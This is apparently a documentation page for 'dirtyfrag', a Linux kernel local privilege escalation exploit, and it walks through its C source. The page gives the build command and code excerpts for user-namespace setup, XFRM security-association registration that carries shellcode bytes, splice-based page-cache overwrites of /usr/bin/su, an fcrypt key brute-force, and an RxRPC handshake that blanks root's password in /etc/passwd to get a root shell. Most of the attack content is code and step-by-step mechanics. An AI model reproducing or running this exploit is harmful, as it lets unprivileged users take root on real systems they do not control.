Skip to main content

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/V4bel/dirtyfrag/llms.txt

Use this file to discover all available pages before exploring further.

exp.c is a single self-contained C file that implements both the ESP and RxRPC exploit variants and chains them automatically. Compile it with gcc -O0 -Wall -o exp exp.c -lutil and run it as an unprivileged user. This page walks through the key mechanisms in the source so you can understand exactly what the binary does at each stage.
Run this only on systems you are authorized to test. After execution the page cache is contaminated — run echo 3 > /proc/sys/vm/drop_caches or reboot to clean up.

Entry point and dispatch

main() checks for --force-esp / --force-rxrpc flags, then dispatches to the appropriate variant(s). By default it runs su_lpe_main() (ESP), and if su_already_patched() is not true afterward, falls back to rxrpc_lpe_main() (RxRPC, retried up to three times):
exp.c
if (force_rxrpc) {
    rc = rxrpc_lpe_main(new_argc, co_argv);
    for (int i = 0; !passwd_already_patched() && i < 3; i++)
        rc = rxrpc_lpe_main(new_argc, co_argv);
} else if (force_esp) {
    rc = su_lpe_main(new_argc, co_argv);
} else {
    rc = su_lpe_main(new_argc, co_argv);           // try ESP first
    if (!su_already_patched()) {
        rc = rxrpc_lpe_main(new_argc, co_argv);    // fall back to RxRPC
        for (int i = 0; !passwd_already_patched() && i < 3; i++)
            rc = rxrpc_lpe_main(new_argc, co_argv);
    }
}
If the process is already root (getuid() == 0) when invoked, main() immediately calls execlp("/bin/bash", "bash", NULL) — useful when testing from a pre-elevated shell. Once either target is patched, run_root_pty() spawns the interactive root PTY bridge. su_lpe_main() (the ESP variant) forks a child that runs corrupt_su(), waits for it, then checks bytes at file offset ENTRY_OFFSET (0x78) of /usr/bin/su. If those bytes are 0x31 0xff (xor edi, edi), the ELF was successfully planted.

ESP variant: namespace and network setup

corrupt_su() calls setup_userns_netns() to gain CAP_NET_ADMIN inside a new user+network namespace. This is needed to register XFRM security associations via Netlink:
exp.c
unshare(CLONE_NEWUSER | CLONE_NEWNET);
write_proc("/proc/self/setgroups", "deny");
write_proc("/proc/self/uid_map", "0 <real_uid> 1");   // identity mapping
write_proc("/proc/self/gid_map", "0 <real_gid> 1");

// bring up loopback in the new netns
ioctl(s, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
If unshare(CLONE_NEWUSER) returns -EPERM (e.g. Ubuntu with AppArmor restrictions), the child exits with status 2 and the parent falls back to RxRPC.

ESP variant: XFRM SA registration

add_xfrm_sa(spi, patch_seqhi) sends a XFRM_MSG_NEWSA Netlink message. The critical field is seq_hi inside the XFRMA_REPLAY_ESN_VAL attribute — this is the 4-byte value that will be STOREd into the page cache:
exp.c
struct xfrm_replay_state_esn esn = {
    .bmp_len       = 1,
    .seq           = 100,    // REPLAY_SEQ
    .replay_window = 32,
    .seq_hi        = patch_seqhi,   // <- attacker-controlled STORE value
};
put_attr(nlh, XFRMA_REPLAY_ESN_VAL, &esn, sizeof(esn) + 4);
corrupt_su() registers 48 SAs in a loop. Each SA carries 4 bytes of the 192-byte root-shell ELF in its seq_hi:
exp.c
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {        // PAYLOAD_LEN = 192
    uint32_t spi = 0xDEADBE10 + i;
    uint32_t seqhi =
        ((uint32_t)shell_elf[i*4 + 0] << 24) |
        ((uint32_t)shell_elf[i*4 + 1] << 16) |
        ((uint32_t)shell_elf[i*4 + 2] <<  8) |
        ((uint32_t)shell_elf[i*4 + 3]);
    add_xfrm_sa(spi, seqhi);
}
The algorithm is authencesn(hmac(sha256),cbc(aes)) with UDP encapsulation on port 4500. The HMAC and cipher keys are arbitrary — authentication will fail, but the STORE happens before the failure is checked.

ESP variant: the splice trigger

do_one_write() triggers one 4-byte page cache STORE by routing a crafted ESP packet through loopback:
exp.c
// Build a 24-byte ESP wire header: SPI + seq_no_lo + IV
uint8_t hdr[24];
*(uint32_t *)(hdr + 0) = htonl(spi);
*(uint32_t *)(hdr + 4) = htonl(SEQ_VAL);   // 200
memset(hdr + 8, 0xCC, 16);                  // IV (irrelevant)

// Plant header into pipe, then splice the target file page into pipe
vmsplice(pfd[1], &(struct iovec){hdr, 24}, 1, 0);
splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);

// Send pipe contents through the ESP socket
splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
splice_to_socket() sets MSG_SPLICE_PAGES automatically, so the page cache page of /usr/bin/su is planted directly as frags[0] of the sender skb — no copy is made. The receiving socket has UDP_ENCAP_ESPINUDP set, so the packet is routed through esp_input(), which performs the vulnerable in-place AEAD decrypt that STOREs 4 bytes into the page cache.

The root-shell ELF payload

shell_elf[192] is a minimal x86-64 ELF that fits in the first 192 bytes of /usr/bin/su. Its entry point at file offset 0x78 (vaddr 0x400078) executes:
exp.c
// Code at entry 0x400078:
// xor edi, edi
// xor esi, esi
// xor eax, eax
// mov al, 0x6a  ; setgid(0)
// syscall
// mov al, 0x69  ; setuid(0)
// syscall
// mov al, 0x74  ; setgroups(0, NULL)
// syscall
// ... push "/bin/sh", execve("/bin/sh", NULL, ["TERM=xterm", NULL])
Because /usr/bin/su has the setuid-root bit set, execve("/usr/bin/su") elevates euid to 0 before the shellcode runs, so setuid(0) then fixes ruid as well.

RxRPC variant: user-space fcrypt brute-force

The RxRPC STORE value is fcrypt_decrypt(C, K) — the attacker controls K but not directly the plaintext. exp.c ports crypto/fcrypt.c from the kernel into user-space and uses a splitmix64 PRNG to search the 56-bit key space:
exp.c
static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters,
        pcheck_fn check, uint8_t K_out[8], uint8_t P_out[8], ...)
{
    fcrypt_uctx ctx;
    uint8_t K[8], P[8];
    for (uint64_t iter = 0; iter < max_iters; iter++) {
        uint64_t r = fc_splitmix64(&seed);
        memcpy(K, &r, 8);
        fcrypt_user_setkey(&ctx, K);
        fcrypt_user_decrypt(&ctx, P, C);
        if (check(P)) {
            memcpy(K_out, K, 8);
            memcpy(P_out, P, 8);
            return 0;  // found
        }
    }
    return -1;
}
The three predicates used are:
  • K_A: P[0] == ':' && P[1] == ':' (probability ~1/65536, found in ~5 ms)
  • K_B: P[0] == '0' && P[1] == ':' (same, ~5 ms)
  • K_C: P[0]=='0' && P[1]==':' && P[7]==':' && P[2..6] ∉ {':','\0','\n'} (~1 s)
The ciphertexts fed to each search are chained — after splice A plants P_A at offsets 4–11, splice B sees P_A[2..7] as its first 6 bytes rather than the original file bytes. The exploit accounts for this:
exp.c
// After finding Ka/Pa_out:
memcpy(Cb_actual, Pa_out + 2, 6);
memcpy(Cb_actual + 6, Cb + 6, 2);
find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok, Kb, Pb_out, ...);

// After finding Kb/Pb_out:
memcpy(Cc_actual, Pb_out + 2, 6);
memcpy(Cc_actual + 6, Cc + 6, 2);
find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok, Kc, Pc_out, ...);

RxRPC variant: kernel trigger

do_one_trigger() performs the full handshake needed to get the kernel to run rxkad_verify_packet_1() on a splice-planted page:
1

Register RxRPC key

Build an RxRPC v1 token with the brute-forced key K in the session_key slot and call add_key("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING). No privilege required.
2

Set up sockets

Create an AF_RXRPC client socket bound to the key with RXRPC_SECURITY_KEY and RXRPC_MIN_SECURITY_LEVEL = RXRPC_SECURITY_AUTH. Create a plain UDP socket on port port_S as a fake server.
3

Initiate RPC call and receive CHALLENGE

sendmsg on the RxRPC client sends a CONNECT packet to the fake server. The fake server extracts (epoch, cid, callNumber) and sends back a forged CHALLENGE packet (type=6, nonce=0xDEADBEEF).
4

Let the kernel handle RESPONSE

The RxRPC client kernel code automatically sends a RESPONSE containing K. The fake server drains and ignores it. The kernel now believes the connection uses pcbc(fcrypt) with key K.
5

Precompute wire checksum

Use AF_ALG pcbc(fcrypt) to compute csum_iv and cksum in user-space — required to pass rxkad_verify_packet’s integrity check before reaching the in-place decrypt.
6

Splice and trigger

vmsplice the forged DATA header into a pipe, splice 8 bytes of /etc/passwd at splice_off into the pipe, then splice the pipe to the UDP server socket. The page cache page is planted into the skb frag. recvmsg on the RxRPC client routes the packet to rxkad_verify_packet_1, which performs the 8-byte fcrypt_decrypt STORE directly onto the page cache page.
After three triggers (at offsets 4, 6, 8), the root entry in /etc/passwd reads root::0:0:GGGGGG:/root:/bin/bash. The exploit opens a PTY and execlp("su", "su", NULL) — PAM’s pam_unix.so nullok accepts the empty password and drops into a root shell.
Set DIRTYFRAG_VERBOSE=1 to see detailed progress output from both exploit stages, including per-SA registration status and per-trigger results.

Build docs developers (and LLMs) love